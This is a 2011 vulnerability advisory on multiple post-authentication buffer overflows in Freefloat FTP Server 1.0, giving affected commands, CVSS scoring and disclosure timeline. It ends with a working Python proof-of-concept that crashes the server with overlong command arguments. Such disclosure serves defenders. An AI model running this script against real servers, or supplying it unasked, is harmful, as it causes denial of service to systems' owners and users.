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Freefloat FTP Server 1.0 Buffer Overflow

Freefloat FTP Server 1.0 Buffer Overflow
Posted Aug 5, 2011
Authored by Veerendra G.G | Site secpod.com

Freefloat FTP server version 1.0 suffers from multiple buffer overflow vulnerabilities. Proof of concept exploit is attached to the bottom of this advisory.

tags | exploit, overflow, vulnerability, proof of concept
MD5 | de53d8f2d3c6b11e911613b538128947

Freefloat FTP Server 1.0 Buffer Overflow

Change Mirror Download
###############################################################################
Freefloat FTP Server POST Auth Multiple Commands Buffer Overflow Vulnerabilities

SecPod Technologies (www.secpod.com)
Author: Veerendra G.G
###############################################################################

SecPod ID: 1019 19/07/2011 Issue Discovered
19/07/2011 Vendor Notified
No Response From Vendor
04/08/2011 Advisory Released


Class: Buffer Overflow Severity: High


Overview:
---------
Freefloat FTP Server Version 1.0 is prone to multiple Commands Buffer Overflow
vulnerabilities.


Technical Description:
----------------------
The flaws are caused due to input validation errors while processing DELE,
MDTM, RETR, RMD, RNFR, RNTO, STOU, STOR, SIZE, APPE, STAT commands. These
can be exploited by sending an overly long command argument causing the
buffer to overflow.


Impact:
--------
Successful exploitation may allow remote attackers to execute arbitrary code
or cause a denial of service condition.


Affected Software:
------------------
Freefloat FTP Server Version 1.0


Tested on:
-----------
Freefloat FTP Server Version 1.0 on Windows XP SP3 En.


References:
-----------
http://secpod.org/blog/?p=310
http://secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py
http://secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt
http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php


Proof of Concept:
----------------
http://secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py

(or see below)



Solution:
----------
Not available


Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = SINGLE INSTANCE
CONFIDENTIALITY_IMPACT = PARTIAL
INTEGRITY_IMPACT = PARTIAL
AVAILABILITY_IMPACT = COMPLETE
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 8.0 (AV:N/AC:L/Au:SI/C:P/I:P/A:C)
CVSS Temporal Score = 7.2
Risk factor = High


Credits:
--------
Veerendra G.G of SecPod Technologies has been credited with the discovery of
this vulnerability.


============================================================


#!/usr/bin/python
##############################################################################
# Title : Freefloat FTP Server Multiple Buffer Overflow Vulnerabilities
# Author : Veerendra G.G from SecPod Technologies (www.secpod.com)
# Vendor : http://www.freefloat.com/sv/utilities-tools/utilities-tools.php
# Advisory : http://secpod.org/blog/?p=310
# http://secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py
# http://secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt
# Version : Freefloat FTP Server Version 1.0
# Date : 21/07/2011
##############################################################################

import sys, socket


def exploit(HOST, PORT, CMD):
try:
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_sock.connect((HOST, PORT))
except Exception, msg:
print "[-] Not able to connect to : " , HOST
sys.exit(0)

res = tcp_sock.recv(1024)

if "220 FreeFloat" not in res:
print "[-] FreeFloat FTP Server Not Found..."
tcp_sock.close()
sys.exit(0)

tcp_sock.send("USER test\r\n")
tcp_sock.recv(1024)
tcp_sock.send("PASS test\r\n")
tcp_sock.recv(1024)

tcp_sock.send(CMD + " "+ "A" * 1000 + "\r\n")
tcp_sock.close()


if __name__ == "__main__":

if len(sys.argv) < 2:
print "\t[-] Usage: python exploit.py target_ip"
print "\t[-] Example : python exploit.py 127.0.0.1"
print "\t[-] Exiting..."
sys.exit(0)

HOST = sys.argv[1]
PORT = 21

## Vulnerable Commands
CMDs = ["DELE", "MDTM", "RETR", "RMD", "RNFR",
"RNTO", "STOU", "STOR", "SIZE", "APPE", "STAT"]

for CMD in CMDs:
print "[+] Connecting with server..."
exploit(HOST, PORT, CMD)
print "[+] Exploit Sent with %s command..." %(CMD)
print "[+] Checking Server Crashed or not..."

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.close()
except Exception, msg:
print "[+] Server Crashed with %s Command" %(CMD)
sys.exit(0)

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